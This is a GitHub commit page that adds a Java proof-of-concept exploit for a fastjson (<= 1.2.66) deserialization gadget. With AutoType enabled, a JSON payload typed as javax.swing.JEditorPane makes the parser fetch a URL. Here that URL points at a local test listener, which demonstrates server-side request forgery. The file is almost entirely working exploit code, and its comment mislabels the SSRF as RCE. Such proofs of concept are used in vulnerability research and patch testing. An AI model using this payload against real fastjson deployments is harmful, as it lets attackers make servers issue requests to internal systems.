Skip to content

Commit 02a3d63

Browse files
author
“threedr3am”
committed
Merge branch 'feat/fastjson-gadget-ssrf-jre-jeditorpane'
2 parents 12436e2 + 08252c4 commit 02a3d63

File tree

1 file changed

+28
-0
lines changed

1 file changed

+28
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.HTTPServer;
6+
7+
/**
8+
* fastjson <= 1.2.66 RCE,需要开启AutoType(JRE自带依赖)
9+
*
10+
* @author threedr3am
11+
*/
12+
public class JREJeditorPaneSSRFPoc {
13+
14+
static {
15+
HTTPServer.PORT = 23234;
16+
HTTPServer.run(null);
17+
}
18+
19+
public static void main(String[] args) {
20+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
21+
String payload = "{\"@type\":\"javax.swing.JEditorPane\",\"page\": \"http://127.0.0.1:23234?a=1&b=22222\"}";
22+
try {
23+
JSON.parse(payload);
24+
} catch (Exception e) {
25+
e.printStackTrace();
26+
}
27+
}
28+
}

0 commit comments

Comments
 (0)